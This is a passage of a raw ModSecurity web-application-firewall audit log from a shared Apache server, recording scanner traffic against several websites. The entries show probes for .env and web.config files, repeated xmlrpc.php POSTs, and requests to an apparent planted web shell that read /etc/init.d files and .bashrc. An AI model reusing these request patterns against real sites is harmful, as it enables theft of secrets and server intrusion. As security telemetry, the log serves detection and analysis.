185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --932dfb00-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=4fdb032b829a01f2312b41dd4db73efa1750018626; expires=Sun, 15 Jun 2025 21:17:06 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --932dfb00-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/.docker/.env"] [unique_id "aE8qQhQKR3lSdoPAzimAcwAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750018626106400 687166 (- - -) Stopwatch2: 1750018626106400 687166; combined=1997, p1=402, p2=1490, p3=0, p4=0, p5=105, sr=108, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --932dfb00-Z-- --032cdd26-A-- [16/Jun/2025:01:47:07.934731 +0530] aE8qQz3D4g1mGjVnV5KMXwAAAAY 185.177.72.210 35430 127.0.0.1 7081 --032cdd26-B-- GET /sitestatic/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --032cdd26-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=1a6eee5a456fc85105d81cb37c1d866e1750018627; expires=Sun, 15 Jun 2025 21:17:07 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --032cdd26-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/sitestatic/.env"] [unique_id "aE8qQz3D4g1mGjVnV5KMXwAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750018627227903 706935 (- - -) Stopwatch2: 1750018627227903 706935; combined=2058, p1=507, p2=1404, p3=0, p4=0, p5=147, sr=116, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --032cdd26-Z-- --c1472834-A-- [16/Jun/2025:01:47:20.983329 +0530] aE8qUDZWrQ9Ly--lMo_-mwAAAAE 185.177.72.210 48758 127.0.0.1 7081 --c1472834-B-- GET /lang/web.config HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --c1472834-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=c829ce49f220c34affdd3dd66c6989ba1750018640; expires=Sun, 15 Jun 2025 21:17:20 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --c1472834-H-- Message: Warning. Matched phrase "/Web.config" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".config"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/Web.config" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/lang/web.config"] [unique_id "aE8qUDZWrQ9Ly--lMo_-mwAAAAE"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".config"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/lang/web.config"] [unique_id "aE8qUDZWrQ9Ly--lMo_-mwAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750018640233622 749774 (- - -) Stopwatch2: 1750018640233622 749774; combined=166222, p1=272, p2=917, p3=0, p4=0, p5=82580, sr=72, sw=1, l=0, gc=82452 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --c1472834-Z-- --0f0c754e-A-- [16/Jun/2025:01:47:39.839120 +0530] aE8qYgmPiipnjM18nBTzugAAAAs 128.199.112.101 34780 127.0.0.1 7081 --0f0c754e-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 498 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --0f0c754e-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --0f0c754e-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE8qYgmPiipnjM18nBTzugAAAAs"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750018658888376 950799 (- - -) Stopwatch2: 1750018658888376 950799; combined=2020, p1=390, p2=1311, p3=34, p4=46, p5=148, sr=113, sw=91, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --0f0c754e-Z-- --22bec74c-A-- [16/Jun/2025:01:48:29.409217 +0530] aE8qlD3D4g1mGjVnV5KMfwAAAAY 20.198.243.91 41614 127.0.0.1 7081 --22bec74c-B-- GET /.env HTTP/1.0 Host: www.rsda.in X-Real-IP: 20.198.243.91 X-Accel-Internal: /internal-nginx-static-location Connection: close User-agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36 Accept-Encoding: gzip, deflate Accept: */* --22bec74c-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/7.4.33 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.rsda.in/wp-json/>; rel="https://api.w.org/" Connection: close Content-Type: text/html; charset=UTF-8 --22bec74c-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.rsda.in"] [uri "/.env"] [unique_id "aE8qlD3D4g1mGjVnV5KMfwAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/rsda.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750018708994497 414803 (- - -) Stopwatch2: 1750018708994497 414803; combined=1909, p1=404, p2=1405, p3=0, p4=0, p5=99, sr=115, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --22bec74c-Z-- --c8921316-A-- [16/Jun/2025:01:48:30.000978 +0530] aE8qlV4QpUmzcAFMV3bVAAAAAAI 185.177.72.210 41648 127.0.0.1 7081 --c8921316-B-- GET /:9000/v2/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --c8921316-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=120fc22f027fa487efbe0874b20f52d41750018709; expires=Sun, 15 Jun 2025 21:18:29 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --c8921316-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:9000/v2/.env"] [unique_id "aE8qlV4QpUmzcAFMV3bVAAAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750018709255521 745543 (- - -) Stopwatch2: 1750018709255521 745543; combined=1981, p1=372, p2=1502, p3=0, p4=0, p5=107, sr=88, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --c8921316-Z-- --a3e72927-A-- [16/Jun/2025:01:48:30.969681 +0530] aE8qlrSOi14Mt1Fv4_TCAwAAAAo 185.177.72.210 36236 127.0.0.1 7081 --a3e72927-B-- GET /:8443/environnements/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --a3e72927-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=814d7601dad3eba421e0e6c950bfbddd1750018710; expires=Sun, 15 Jun 2025 21:18:30 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --a3e72927-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8443/environnements/.env"] [unique_id "aE8qlrSOi14Mt1Fv4_TCAwAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750018710331370 638374 (- - -) Stopwatch2: 1750018710331370 638374; combined=1817, p1=348, p2=1365, p3=0, p4=0, p5=104, sr=84, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --a3e72927-Z-- --cf813d6d-A-- [16/Jun/2025:01:48:32.565484 +0530] aE8qmDZWrQ9Ly--lMo_-uAAAAAE 20.198.243.91 36306 127.0.0.1 7081 --cf813d6d-B-- GET /sendgrid/.env HTTP/1.0 Host: www.rsda.in X-Real-IP: 20.198.243.91 X-Accel-Internal: /internal-nginx-static-location Connection: close User-agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36 Accept-Encoding: gzip, deflate Accept: */* --cf813d6d-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/7.4.33 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.rsda.in/wp-json/>; rel="https://api.w.org/" Connection: close Content-Type: text/html; charset=UTF-8 --cf813d6d-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.rsda.in"] [uri "/sendgrid/.env"] [unique_id "aE8qmDZWrQ9Ly--lMo_-uAAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/rsda.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750018712153554 411992 (- - -) Stopwatch2: 1750018712153554 411992; combined=1644, p1=366, p2=1196, p3=0, p4=0, p5=81, sr=85, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --cf813d6d-Z-- --cb9f1261-A-- [16/Jun/2025:01:48:39.965866 +0530] aE8qn4fvqn7_SDWw_wX75gAAAAc 128.199.112.101 36622 127.0.0.1 7081 --cb9f1261-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 492 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --cb9f1261-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --cb9f1261-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE8qn4fvqn7_SDWw_wX75gAAAAc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750018719026606 939316 (- - -) Stopwatch2: 1750018719026606 939316; combined=3185, p1=542, p2=2179, p3=50, p4=79, p5=204, sr=144, sw=131, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --cb9f1261-Z-- --beb1675d-A-- [16/Jun/2025:01:48:44.055824 +0530] aE8qowmPiipnjM18nBTz1QAAAAs 52.205.113.104 58960 127.0.0.1 7081 --beb1675d-B-- GET /admin/images/products/6847417b2eb7c%20bipas.phtml?path=//etc/init.d&viewfile=//etc/init.d/unattended-upgrades HTTP/1.0 Host: www.sarainternational.ae X-Real-IP: 52.205.113.104 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot) Chrome/119.0.6045.214 Safari/537.36 Accept-Encoding: gzip,deflate --beb1675d-F-- HTTP/1.1 200 OK Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 3648 Connection: close Content-Type: text/html; charset=UTF-8 --beb1675d-H-- Message: Warning. Matched phrase "etc/init.d" at ARGS:path. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: etc/init.d found within ARGS:path: /etc/init.d"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] Message: Warning. Matched phrase "etc/init.d" at ARGS:viewfile. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: etc/init.d found within ARGS:viewfile: /etc/init.d/unattended-upgrades"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "etc/init.d" at ARGS:path. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: etc/init.d found within ARGS:path: /etc/init.d"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] [hostname "www.sarainternational.ae"] [uri "/admin/images/products/6847417b2eb7c bipas.phtml"] [unique_id "aE8qowmPiipnjM18nBTz1QAAAAs"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "etc/init.d" at ARGS:viewfile. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: etc/init.d found within ARGS:viewfile: /etc/init.d/unattended-upgrades"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] [hostname "www.sarainternational.ae"] [uri "/admin/images/products/6847417b2eb7c bipas.phtml"] [unique_id "aE8qowmPiipnjM18nBTz1QAAAAs"] Apache-Handler: application/x-httpd-php Stopwatch: 1750018723975049 80863 (- - -) Stopwatch2: 1750018723975049 80863; combined=155607, p1=334, p2=1761, p3=36, p4=33, p5=76781, sr=86, sw=1, l=0, gc=76661 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --beb1675d-Z-- --b97c245d-A-- [16/Jun/2025:01:49:03.630012 +0530] aE8qt2BSQiWwwCa-v2T-7gAAAAQ 44.197.76.210 34542 127.0.0.1 7081 --b97c245d-B-- GET /admin/images/products/6847417b2eb7c%20bipas.phtml?path=//etc/skel&viewfile=//etc/skel/.bashrc HTTP/1.0 Host: www.sarainternational.ae X-Real-IP: 44.197.76.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot) Chrome/119.0.6045.214 Safari/537.36 Accept-Encoding: gzip,deflate --b97c245d-F-- HTTP/1.1 200 OK Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 4709 Connection: close Content-Type: text/html; charset=UTF-8 --b97c245d-H-- Message: Warning. Matched phrase ".bashrc" at ARGS:viewfile. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: .bashrc found within ARGS:viewfile: /etc/skel/.bashrc"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase ".bashrc" at ARGS:viewfile. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: .bashrc found within ARGS:viewfile: /etc/skel/.bashrc"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] [hostname "www.sarainternational.ae"] [uri "/admin/images/products/6847417b2eb7c bipas.phtml"] [unique_id "aE8qt2BSQiWwwCa-v2T-7gAAAAQ"] Apache-Handler: application/x-httpd-php Stopwatch: 1750018743625308 4757 (- - -) Stopwatch2: 1750018743625308 4757; combined=2493, p1=357, p2=2016, p3=37, p4=28, p5=55, sr=97, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --b97c245d-Z-- --19fbbc22-A-- [16/Jun/2025:01:49:29.337282 +0530] aE8q0DZWrQ9Ly--lMo_-1QAAAAE 185.177.72.210 58258 127.0.0.1 7081 --19fbbc22-B-- GET /unsplash-downloader/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --19fbbc22-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=22178d37e61b0c35a3b525c79fa279591750018769; expires=Sun, 15 Jun 2025 21:19:29 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --19fbbc22-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/unsplash-downloader/.env"] [unique_id "aE8q0DZWrQ9Ly--lMo_-1QAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750018768476861 860511 (- - -) Stopwatch2: 1750018768476861 860511; combined=2080, p1=452, p2=1532, p3=0, p4=0, p5=96, sr=114, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --19fbbc22-Z-- --4607bf19-A-- [16/Jun/2025:01:49:31.632001 +0530] aE8q0xQKR3lSdoPAzimAsAAAAAk 44.221.37.41 42318 127.0.0.1 7081 --4607bf19-B-- GET /admin/images/products/6847417b2eb7c%20bipas.phtml?path=//etc/init.d&viewfile=//etc/init.d/open-iscsi HTTP/1.0 Host: www.sarainternational.ae X-Real-IP: 44.221.37.41 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot) Chrome/119.0.6045.214 Safari/537.36 Accept-Encoding: gzip,deflate --4607bf19-F-- HTTP/1.1 200 OK Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 4021 Connection: close Content-Type: text/html; charset=UTF-8 --4607bf19-H-- Message: Warning. Matched phrase "etc/init.d" at ARGS:path. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: etc/init.d found within ARGS:path: /etc/init.d"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] Message: Warning. Matched phrase "etc/init.d" at ARGS:viewfile. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: etc/init.d found within ARGS:viewfile: /etc/init.d/open-iscsi"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "etc/init.d" at ARGS:path. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: etc/init.d found within ARGS:path: /etc/init.d"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] [hostname "www.sarainternational.ae"] [uri "/admin/images/products/6847417b2eb7c bipas.phtml"] [unique_id "aE8q0xQKR3lSdoPAzimAsAAAAAk"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "etc/init.d" at ARGS:viewfile. [file 